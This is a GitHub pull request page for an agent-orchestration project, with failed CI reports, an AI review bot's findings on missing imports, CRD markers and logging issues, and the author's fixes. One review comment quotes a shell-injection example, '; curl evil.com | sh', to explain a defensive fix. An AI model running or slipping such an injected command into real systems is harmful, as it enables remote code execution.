Skip to content

fix: QwenPaw shipping, scoped-config probe, and remediation - #7

Merged
nattiini45 merged 12 commits into
mainfrom
fix/qwenpaw-scoped-config-and-shipping
Jul 17, 2026
Merged

fix: QwenPaw shipping, scoped-config probe, and remediation#7
nattiini45 merged 12 commits into
mainfrom
fix/qwenpaw-scoped-config-and-shipping

Conversation

@nattiini45

Copy link
Copy Markdown
Owner

Summary

  • Fix Docker/embedded scoped-config readiness: probe runtime/runtime.yaml for QwenPaw/Edge (and openclaw.json for legacy) using RuntimeName
  • Complete QwenPaw shipping surface: worker agent template (+ find-skills), sync loop, Helm/install image wiring, defaultRuntime note
  • Docs/security: correct AGENTTEAMS_WORKER_NAME in guides, runtime nav, phantom projects.hiclaw.io cleanup, installer eval/cred hardening

Test plan

  • go test controller scoped-config / config / deployer packages
  • make test-shared (or shared shell tests: env, oss-credentials, install-prompt)
  • Confirm PR targets nattiini45/AgentTeams only (not agentscope-ai)
  • CI green + Kilo review comments remediated

nattiini45 and others added 6 commits July 17, 2026 13:11
Unify task/project protocol, openclaw merge, FileSync, and Matrix helpers under shared/python; split controller/manager mega-modules behind adapters; fix CoPaw image/bootstrap gaps and create-team/manager-state CLI paths without hard Phase 11 cutover.

Co-authored-by: Cursor <[email protected]>
Gate task completion on verifiable deliverables (Manager verify-output,
shared protocol, CoPaw/TeamHarness taskflow) so coordinators fail closed
before accepting results. Report heartbeat and LLM usage from workers,
probe five-point health on list/get API, and surface freshness on the
dashboard. Add Project spec.dependsOn for cross-project visibility.
Includes review remediation: parallel list probes, path parity, submit
order, docs, and tests.

Co-authored-by: Cursor <[email protected]>
Unblock Docker/embedded QwenPaw workers waiting forever on openclaw.json,
wire AGENTTEAMS_QWENPAW_WORKER_IMAGE through install/Helm, add the
qwenpaw-worker-agent template, and close docs/test gaps from remediation.

Co-authored-by: Cursor <[email protected]>
Pass --break-system-packages for system pip installs in worker/manager
images, and make the CoPaw Matrix sync-loop patch no-op on the current
PyPI nested sync_loop() shape.

Co-authored-by: Cursor <[email protected]>
Supply gateway.publicURL for helm template, install local agentteams
Python packages before hermes, and replace removed jq --argfile with
--slurpfile in merge golden tests.

Co-authored-by: Cursor <[email protected]>
agentteams_matrix_policies is required by hermes policy shims; install
every shared/python/agentteams_* editable package before runtime pytest.

Co-authored-by: Cursor <[email protected]>
@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (llm-interaction / mgr=copaw / wk=hermes)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (controller-cr-2 / mgr=copaw / wk=copaw)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (llm-interaction / mgr=openclaw / wk=openclaw)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (controller-cr / mgr=copaw / wk=hermes)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (llm-interaction / mgr=copaw / wk=copaw)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (controller-cr / mgr=openclaw / wk=openclaw)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (llm-interaction-2 / mgr=copaw / wk=copaw)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (controller-cr / mgr=copaw / wk=copaw)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (llm-interaction-2 / mgr=copaw / wk=hermes)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

@github-actions

github-actions Bot commented Jul 17, 2026

Copy link
Copy Markdown

❌ Integration Tests Failed (llm-interaction-2 / mgr=openclaw / wk=openclaw)

Commit: 45cd1bc
Workflow run: #16

Test Results
No test output captured.
Debug Log (tail)
No debug logs available.

📦 Download full debug logs & test artifacts

Comment thread install/hiclaw-install.sh
@@ -49,8 +54,11 @@

set -e

_INSTALL_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
# shellcheck source=defaults.env

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CRITICAL: Missing defaults.env — installer will crash immediately

source "${_INSTALL_DIR}/defaults.env" will fail because install/defaults.env does not exist in this PR (confirmed via git show 7ac37d3:install/defaults.env). With set -e active, the script exits immediately. Every variable now expected from this file — AGENTTEAMS_PORT_GATEWAY, AGENTTEAMS_PORT_CONSOLE, AGENTTEAMS_IMAGE_MANAGER, AGENTTEAMS_NON_INTERACTIVE, AGENTTEAMS_MOUNT_SOCKET, AGENTTEAMS_DOCKER_PROXY, all *_MIN_VERSION gates, etc. — will be undefined. The _ver_lt gates at lines 1045-1053 will also silently misbehave because AGENTTEAMS_VERSION defaults to empty, causing empty-string-to-semver comparisons that disable all newer worker runtimes.

The file must be committed alongside this change, or the source must be guarded with a conditional.


Reply with @kilocode-bot fix it to have Kilo Code address this issue.

params["version"] = version
if label:
params["label"] = label
url = f"http://{host}:{port}/nacos/v3/client/ai/agentspecs?{urlencode(params)}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CRITICAL: urlencode not imported — runtime NameError on nacos HTTP fetch

urlencode(params) is called here but only parse_qs and urlparse are imported from urllib.parse (line 19). Any non-STS nacos agent-package fetch will crash with NameError: name 'urlencode' is not defined.

Fix: add urlencode to the import on line 19:

from urllib.parse import parse_qs, urlparse, urlencode

Reply with @kilocode-bot fix it to have Kilo Code address this issue.


def _nacos_sts_auth_headers(self, namespace: str) -> Dict[str, str]:
access_key, secret_key, security_token = self._nacos_sts_credentials()
timestamp = str(int(time.time() * 1000))

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CRITICAL: time not imported — runtime NameError on nacos STS auth

time.time() is called in _nacos_sts_auth_headers() but time is never imported (the module imports base64, hashlib, hmac, json, logging, os, shutil, subprocess, tarfile, tempfile, urllib.request, zipfile — no time). Any nacos fetch using authType=sts-agentteams will crash with NameError: name 'time' is not defined.

Fix: add import time to the top-level imports (e.g., after line 21).


Reply with @kilocode-bot fix it to have Kilo Code address this issue.

WorkerVolumeTypeOSS = "OSS"
)

// +genclient

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

CRITICAL: Kubebuilder markers are misplaced on ExposePort instead of Worker

These markers (+genclient, +kubebuilder:subresource:status, +kubebuilder:printcolumn, +k8s:deepcopy-gen:interfaces) were split from the original monolithic types.go and landed on ExposePort instead of Worker. The Worker struct in worker_types.go:5 has zero kubebuilder markers. Any controller-gen run will produce a Worker CRD missing the status subresource, print columns, and generated client. The stale comment on line 168 (// Worker represents an AI agent worker in AgentTeams.) placed before type ExposePort struct confirms a copy-paste error during the file split.

Additionally, the printcolumn markers reference .spec.team and .status.repoCount which are Project/Team fields, not Worker fields — these were also mis-copied.


Reply with @kilocode-bot fix it to have Kilo Code address this issue.

"-c",
"source /opt/hiclaw/scripts/lib/hiclaw-env.sh && "
"ensure_mc_credentials && "
f"_mc_host_var=MC_HOST_{_MC_ALIAS} && "

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

WARNING: Shell injection via unsanitized _MC_ALIAS in bash -c command

_MC_ALIAS (derived from the AGENTTEAMS_STORAGE_ALIAS environment variable via storage_alias()) is interpolated directly into a bash -c command string via f-string without any sanitization. If the env var contains shell metacharacters (e.g., ; curl evil.com | sh), they would be executed as shell code.

While the env var is typically set by the deployment config (not end-user input), this violates defense-in-depth. The mc_ops.mc() helper used elsewhere passes arguments as a list (safe from injection), but this bash -c path bypasses that protection.

Fix: validate that _MC_ALIAS matches ^[a-zA-Z0-9_-]+$ before use, or restructure to pass it as a bash variable rather than interpolating it into the command string.


Reply with @kilocode-bot fix it to have Kilo Code address this issue.

"<redacted>",
self._alias_set,
mc_host_set,
controller_url,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

WARNING: Endpoint URL logged without credential redaction

self.endpoint is logged directly at INFO level. If the endpoint contains embedded credentials (e.g., http://access_key:secret_key@minio:9000), they will appear in container logs. The redact_url_userinfo() function exists in the same package (agentteams_sync.mc) specifically for this purpose, but is not used here.

Fix: use redact_url_userinfo(self.endpoint) in the log call.


Reply with @kilocode-bot fix it to have Kilo Code address this issue.

return metadataName
}

// ExposePort defines a container port to expose via the Higress gateway.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

WARNING: Stale doc comment on WorkerStatus

The comment // ExposePort defines a container port to expose via the Higress gateway. was left over from the original monolithic types.go where ExposePort preceded WorkerStatus. This should be:

// WorkerStatus holds the observed runtime state of a Worker.

Reply with @kilocode-bot fix it to have Kilo Code address this issue.

Comment thread dashboard/web/src/panels/overview.js Outdated
const dots = HEALTH_PROBE_ORDER.map(([key, label]) => {
const check = checks[key] || {};
const status = check.status || 'unknown';
const detail = check.detail ? ` — ${check.detail}` : '';

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

WARNING: check.detail not HTML-escaped — inconsistent with codebase pattern

check.detail (from the backend API) is interpolated into a title attribute without passing through escapeHtml(). While the double-quote replacement on line 200 prevents attribute breakout, <, >, and & are not escaped. All other dashboard card fields consistently use escapeHtml() for API values. A crafted detail string could inject HTML if the rendering context changes.

Fix: escape check.detail before interpolation:

const detail = check.detail ? ` — ${escapeHtml(check.detail)}` : '';

Reply with @kilocode-bot fix it to have Kilo Code address this issue.

fi

mkdir -p /data
cat > "${SECRETS_FILE}" <<EOF

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

WARNING: Unquoted heredoc expands $() and backticks in secret values

<<EOF (unquoted) causes bash to expand $(), backticks, and \ in the variable values. If AGENTTEAMS_MANAGER_GATEWAY_KEY or AGENTTEAMS_MANAGER_PASSWORD contain these characters (e.g., from a previously corrupted secrets file loaded on line 8), the written file will contain expanded/broken values.

Fix: quote the heredoc delimiter to prevent expansion:

cat > "${SECRETS_FILE}" <<'EOF'
export AGENTTEAMS_MANAGER_GATEWAY_KEY="${AGENTTEAMS_MANAGER_GATEWAY_KEY}"
export AGENTTEAMS_MANAGER_PASSWORD="${AGENTTEAMS_MANAGER_PASSWORD}"
EOF

Wait — with <<'EOF' the variables won't expand at all. The correct fix is to either use printf or declare -p for safe serialization, or validate that secret values are shell-safe before writing.


Reply with @kilocode-bot fix it to have Kilo Code address this issue.

pushed.append(rel.as_posix())
logger.debug("Pushed %s -> %s", rel, dest)
except Exception as exc:
logger.debug("push_local: failed for %s: %s", rel, exc)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

WARNING: All push failures silently swallowed at debug level

Every exception during file push (network errors, permission denied, disk full, CalledProcessError) is caught by the bare except Exception and logged only at debug level. In production, these failures would be invisible unless debug logging is explicitly enabled, making push failures very difficult to diagnose.

Fix: log at warning level at minimum, or at least distinguish between expected failures (file disappeared) and unexpected ones (network/auth errors).


Reply with @kilocode-bot fix it to have Kilo Code address this issue.

@kilo-code-bot

kilo-code-bot Bot commented Jul 17, 2026

Copy link
Copy Markdown

Code Review Summary

Status: No Issues Found | Recommendation: Merge

All 10 previous findings have been resolved:

  • defaults.env now tracked; source no longer crashes
  • urlencode and time imports added in agent_package.py
  • Kubebuilder markers restored on Worker in worker_types.go
  • Shell injection in filesync.py fixed via env-var pass-through
  • Endpoint logging uses redact_url_userinfo()
  • WorkerStatus doc comment corrected
  • check.detail escaped with escapeHtml()
  • secrets.sh heredoc replaced with printf %q
  • Push failures logged at warning level

Incremental change (Makefile test-embedded recipe) is correct: moves skip/install/test into a single shell to prevent exit 0 from being ignored by subsequent Make recipe lines.

Files Reviewed (1 incremental)
  • Makefile — 0 issues
Previous Review Summaries (3 snapshots, latest commit 45cd1bc)

Current summary above is authoritative. Previous snapshots are kept for context only.

Previous review (commit 45cd1bc)

Status: 10 Issues Found | Recommendation: Address before merge

Overview

Severity Count
CRITICAL 5
WARNING 5
SUGGESTION 0
Issue Details (click to expand)

CRITICAL

File Line Issue
install/hiclaw-install.sh 58 Missing defaults.envsource will crash with set -e; all image names, ports, and version gates undefined
qwenpaw/src/qwenpaw_worker/update/agent_package.py 262 urlencode not imported — NameError on nacos HTTP fetch
qwenpaw/src/qwenpaw_worker/update/agent_package.py 310 time not imported — NameError on nacos STS auth
hiclaw-controller/api/v1beta1/types_shared.go 161 Kubebuilder markers (+genclient, +kubebuilder:subresource:status, printcolumns) misplaced on ExposePort instead of Worker — CRD generation will be wrong
shared/python/agentteams_sync/src/agentteams_sync/filesync.py 98 Shell injection: _MC_ALIAS (from env var) interpolated into bash -c without sanitization

WARNING

File Line Issue
shared/python/agentteams_sync/src/agentteams_sync/filesync.py 132 self.endpoint logged at INFO without redact_url_userinfo() — credential leak risk
hiclaw-controller/api/v1beta1/worker_types.go 169 Stale doc comment: // ExposePort defines... above type WorkerStatus struct
dashboard/web/src/panels/overview.js 199 check.detail not passed through escapeHtml() — inconsistent with all other dashboard fields
manager/scripts/lib/bootstrap/secrets.sh 22 Unquoted <<EOF heredoc will expand $() and backticks in secret values
shared/python/agentteams_sync/src/agentteams_sync/push.py 93 All push failures silently swallowed at debug level — network/auth/disk errors invisible in production
Additional Verified Findings (summary-only)
  • hiclaw-controller/api/v1beta1/types_shared.go:163-164 — printcolumn markers reference .spec.team and .status.repoCount which are Project/Team fields, not Worker fields (mixed during file split)
  • install/hiclaw-install.sh:1045-1053_ver_lt "" comparisons will silently disable CoPaw/Hermes/QwenPaw worker images when AGENTTEAMS_VERSION is empty (consequence of missing defaults.env)
  • manager/scripts/lib/bootstrap/secrets.sh:8source "${SECRETS_FILE}" bypasses the command-substitution validation (_agentteams_validate_env_file) added elsewhere in this PR
  • shared/python/agentteams_sync/src/agentteams_sync/push.py:84-88 — TOCTOU race: re-reads file for content hash after mc cp push (file could change between push and hash)
  • qwenpaw/src/qwenpaw_worker/sync.py:89-98_mc_dispatch silently drops warn_on_error and log_output keyword arguments; callers setting log_output=False will still have mc commands logged
  • shared/python/agentteams_matrix_policies/build/lib/ and shared/python/agentteams_openclaw_merge/build/lib/ — build artifacts committed alongside source; should be in .gitignore
  • hiclaw-controller/internal/server/lifecycle_handler.go:200worker.Status.LLMCallsTotal += calls is a non-atomic read-modify-write; concurrent Ready() calls will lose increments
  • manager/agent/fragments/HEARTBEAT/openclaw-body.md — OpenClaw HEARTBEAT is missing orphaned-task sweep (Step 2a), drain pending workers (Step 5b), and daily digest (Step 7) present in Copaw variant
  • helm/hiclaw/values.yaml:339defaultRuntime silently changed from hermes to openclaw — breaking behavioral change for existing Helm upgrades
Files Reviewed (~300 files sampled from 423 changed)

Controller Go (hiclaw-controller/): CRD types, reconcilers, config, server handlers, service deployer/provisioner, gateway client, agent config generator — 2 CRITICAL, 1 WARNING, 5 additional findings
Python packages (copaw/, hermes/, qwenpaw/, openhuman/, shared/python/, plugins/): bridge, config, sync, matrix channel, update subsystem, MCP tools — 3 CRITICAL, 2 WARNING, 3 additional findings
Scripts & Install (manager/scripts/, shared/lib/, install/, worker/scripts/): shell scripts, Dockerfiles, install scripts, CI workflows — 1 CRITICAL, 2 WARNING, 3 additional findings
Dashboard & Helm & Docs (dashboard/, helm/, docs/, manager/agent/): dashboard JS, Helm values, agent prompts, Makefile — 0 CRITICAL, 1 WARNING, 2 additional findings

Fix these issues in Kilo Cloud

Previous review (commit 76e6171)

Status: 10 Issues Found | Recommendation: Address before merge

Overview

Severity Count
CRITICAL 5
WARNING 5
SUGGESTION 0
Issue Details (click to expand)

CRITICAL

File Line Issue
install/hiclaw-install.sh 58 Missing defaults.envsource will crash with set -e; all image names, ports, and version gates undefined
qwenpaw/src/qwenpaw_worker/update/agent_package.py 261 urlencode not imported — NameError on nacos HTTP fetch
qwenpaw/src/qwenpaw_worker/update/agent_package.py 309 time not imported — NameError on nacos STS auth
hiclaw-controller/api/v1beta1/types_shared.go 161 Kubebuilder markers (+genclient, +kubebuilder:subresource:status, printcolumns) misplaced on ExposePort instead of Worker — CRD generation will be wrong
shared/python/agentteams_sync/src/agentteams_sync/filesync.py 98 Shell injection: _MC_ALIAS (from env var) interpolated into bash -c without sanitization

WARNING

File Line Issue
shared/python/agentteams_sync/src/agentteams_sync/filesync.py 126 self.endpoint logged at INFO without redact_url_userinfo() — credential leak risk
hiclaw-controller/api/v1beta1/worker_types.go 169 Stale doc comment: // ExposePort defines... above type WorkerStatus struct
dashboard/web/src/panels/overview.js 199 check.detail not passed through escapeHtml() — inconsistent with all other dashboard fields
manager/scripts/lib/bootstrap/secrets.sh 22 Unquoted <<EOF heredoc will expand $() and backticks in secret values
shared/python/agentteams_sync/src/agentteams_sync/push.py 93 All push failures silently swallowed at debug level — network/auth/disk errors invisible in production
Additional Verified Findings (summary-only)
  • hiclaw-controller/api/v1beta1/types_shared.go:163-164 — printcolumn markers reference .spec.team and .status.repoCount which are Project/Team fields, not Worker fields (mixed during file split)
  • install/hiclaw-install.sh:1045-1053_ver_lt "" comparisons will silently disable CoPaw/Hermes/QwenPaw worker images when AGENTTEAMS_VERSION is empty (consequence of missing defaults.env)
  • manager/scripts/lib/bootstrap/secrets.sh:8source "${SECRETS_FILE}" bypasses the command-substitution validation (_agentteams_validate_env_file) added elsewhere in this PR
  • shared/python/agentteams_sync/src/agentteams_sync/push.py:84-88 — TOCTOU race: re-reads file for content hash after mc cp push (file could change between push and hash)
  • qwenpaw/src/qwenpaw_worker/sync.py:89-98_mc_dispatch silently drops warn_on_error and log_output keyword arguments; callers setting log_output=False will still have mc commands logged
  • shared/python/agentteams_matrix_policies/build/lib/ and shared/python/agentteams_openclaw_merge/build/lib/ — build artifacts committed alongside source; should be in .gitignore
  • hiclaw-controller/internal/server/lifecycle_handler.go:200worker.Status.LLMCallsTotal += calls is a non-atomic read-modify-write; concurrent Ready() calls will lose increments
  • manager/agent/fragments/HEARTBEAT/openclaw-body.md — OpenClaw HEARTBEAT is missing orphaned-task sweep (Step 2a), drain pending workers (Step 5b), and daily digest (Step 7) present in Copaw variant
  • helm/hiclaw/values.yaml:339defaultRuntime silently changed from hermes to openclaw — breaking behavioral change for existing Helm upgrades
Files Reviewed (~300 files sampled from 423 changed)

Controller Go (hiclaw-controller/): CRD types, reconcilers, config, server handlers, service deployer/provisioner, gateway client, agent config generator — 2 CRITICAL, 1 WARNING, 5 additional findings
Python packages (copaw/, hermes/, qwenpaw/, openhuman/, shared/python/, plugins/): bridge, config, sync, matrix channel, update subsystem, MCP tools — 3 CRITICAL, 2 WARNING, 3 additional findings
Scripts & Install (manager/scripts/, shared/lib/, install/, worker/scripts/): shell scripts, Dockerfiles, install scripts, CI workflows — 1 CRITICAL, 2 WARNING, 3 additional findings
Dashboard & Helm & Docs (dashboard/, helm/, docs/, manager/agent/): dashboard JS, Helm values, agent prompts, Makefile — 0 CRITICAL, 1 WARNING, 2 additional findings

Fix these issues in Kilo Cloud

Previous review (commit 7ac37d3)

Status: 10 Issues Found | Recommendation: Address before merge

Overview

Severity Count
CRITICAL 5
WARNING 5
SUGGESTION 0
Issue Details (click to expand)

CRITICAL

File Line Issue
install/hiclaw-install.sh 58 Missing defaults.envsource will crash with set -e; all image names, ports, and version gates undefined
qwenpaw/src/qwenpaw_worker/update/agent_package.py 261 urlencode not imported — NameError on nacos HTTP fetch
qwenpaw/src/qwenpaw_worker/update/agent_package.py 309 time not imported — NameError on nacos STS auth
hiclaw-controller/api/v1beta1/types_shared.go 161 Kubebuilder markers (+genclient, +kubebuilder:subresource:status, printcolumns) misplaced on ExposePort instead of Worker — CRD generation will be wrong
shared/python/agentteams_sync/src/agentteams_sync/filesync.py 98 Shell injection: _MC_ALIAS (from env var) interpolated into bash -c without sanitization

WARNING

File Line Issue
shared/python/agentteams_sync/src/agentteams_sync/filesync.py 126 self.endpoint logged at INFO without redact_url_userinfo() — credential leak risk
hiclaw-controller/api/v1beta1/worker_types.go 169 Stale doc comment: // ExposePort defines... above type WorkerStatus struct
dashboard/web/src/panels/overview.js 199 check.detail not passed through escapeHtml() — inconsistent with all other dashboard fields
manager/scripts/lib/bootstrap/secrets.sh 22 Unquoted <<EOF heredoc will expand $() and backticks in secret values
shared/python/agentteams_sync/src/agentteams_sync/push.py 93 All push failures silently swallowed at debug level — network/auth/disk errors invisible in production
Additional Verified Findings (summary-only)
  • hiclaw-controller/api/v1beta1/types_shared.go:163-164 — printcolumn markers reference .spec.team and .status.repoCount which are Project/Team fields, not Worker fields (mixed during file split)
  • install/hiclaw-install.sh:1045-1053_ver_lt "" comparisons will silently disable CoPaw/Hermes/QwenPaw worker images when AGENTTEAMS_VERSION is empty (consequence of missing defaults.env)
  • manager/scripts/lib/bootstrap/secrets.sh:8source "${SECRETS_FILE}" bypasses the command-substitution validation (_agentteams_validate_env_file) added elsewhere in this PR
  • shared/python/agentteams_sync/src/agentteams_sync/push.py:84-88 — TOCTOU race: re-reads file for content hash after mc cp push (file could change between push and hash)
  • qwenpaw/src/qwenpaw_worker/sync.py:89-98_mc_dispatch silently drops warn_on_error and log_output keyword arguments; callers setting log_output=False will still have mc commands logged
  • shared/python/agentteams_matrix_policies/build/lib/ and shared/python/agentteams_openclaw_merge/build/lib/ — build artifacts committed alongside source; should be in .gitignore
  • hiclaw-controller/internal/server/lifecycle_handler.go:200worker.Status.LLMCallsTotal += calls is a non-atomic read-modify-write; concurrent Ready() calls will lose increments
  • manager/agent/fragments/HEARTBEAT/openclaw-body.md — OpenClaw HEARTBEAT is missing orphaned-task sweep (Step 2a), drain pending workers (Step 5b), and daily digest (Step 7) present in Copaw variant
  • helm/hiclaw/values.yaml:339defaultRuntime silently changed from hermes to openclaw — breaking behavioral change for existing Helm upgrades
Files Reviewed (~300 files sampled from 423 changed)

Controller Go (hiclaw-controller/): CRD types, reconcilers, config, server handlers, service deployer/provisioner, gateway client, agent config generator — 2 CRITICAL, 1 WARNING, 5 additional findings
Python packages (copaw/, hermes/, qwenpaw/, openhuman/, shared/python/, plugins/): bridge, config, sync, matrix channel, update subsystem, MCP tools — 3 CRITICAL, 2 WARNING, 3 additional findings
Scripts & Install (manager/scripts/, shared/lib/, install/, worker/scripts/): shell scripts, Dockerfiles, install scripts, CI workflows — 1 CRITICAL, 2 WARNING, 3 additional findings
Dashboard & Helm & Docs (dashboard/, helm/, docs/, manager/agent/): dashboard JS, Helm values, agent prompts, Makefile — 0 CRITICAL, 1 WARNING, 2 additional findings

Fix these issues in Kilo Cloud


Reviewed by mimo-v2.5-pro · Input: 47.4K · Output: 9.6K · Cached: 455.6K

nattiini45 and others added 2 commits July 17, 2026 18:44
Drop obsolete Worker health/Matrix helper expectations, match bridge overlay semantics, and install shared agentteams_* packages only for the hermes CI matrix.

Co-authored-by: Cursor <[email protected]>
Track install/defaults.env, restore missing agent_package imports,
move Worker kubebuilder markers onto Worker, harden sync/secrets
logging and shell interpolation, and HTML-escape health details.

Co-authored-by: Cursor <[email protected]>
@nattiini45

Copy link
Copy Markdown
Owner Author

Remediated Kilo findings in f4d9d05: tracked install/defaults.env, fixed urlencode/time imports, restored Worker kubebuilder markers, hardened MC alias/env logging/secrets write, escapeHtml on health detail, push failures at warning.

nattiini45 and others added 4 commits July 17, 2026 18:49
Installer sources install/defaults.env under set -e; allow that
non-secret defaults file through the *.env ignore rule.

Co-authored-by: Cursor <[email protected]>
Forks without the LLM key were failing every embedded shard at
install-embedded with a misleading Error 1. Skip those jobs instead.

Co-authored-by: Cursor <[email protected]>
pull_request_target runs the base workflow YAML, so a Makefile guard
is what actually saves fork PRs that lack AGENTTEAMS_LLM_API_KEY.

Co-authored-by: Cursor <[email protected]>
Make runs each recipe line in a fresh shell, so exit 0 after the LLM-key check did not stop install-embedded. Wrap install/wait/tests in the else branch of the same if.

Co-authored-by: Cursor <[email protected]>
@github-actions

Copy link
Copy Markdown

📊 CI Metrics Report

ℹ️ No baseline available - This is the first run or baseline data was not found.

Summary

Metric Value
LLM Calls 0
Input Tokens 0
Output Tokens 0

By Role

Role LLM Calls Input Tokens Output Tokens
🧠 Manager 0 0 0
🔧 Workers 0 0 0

Generated by HiClaw CI on 2026-07-17 18:03:56 UTC


📦 Download debug logs & test artifacts

@nattiini45
nattiini45 merged commit 7a550ff into main Jul 17, 2026
31 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant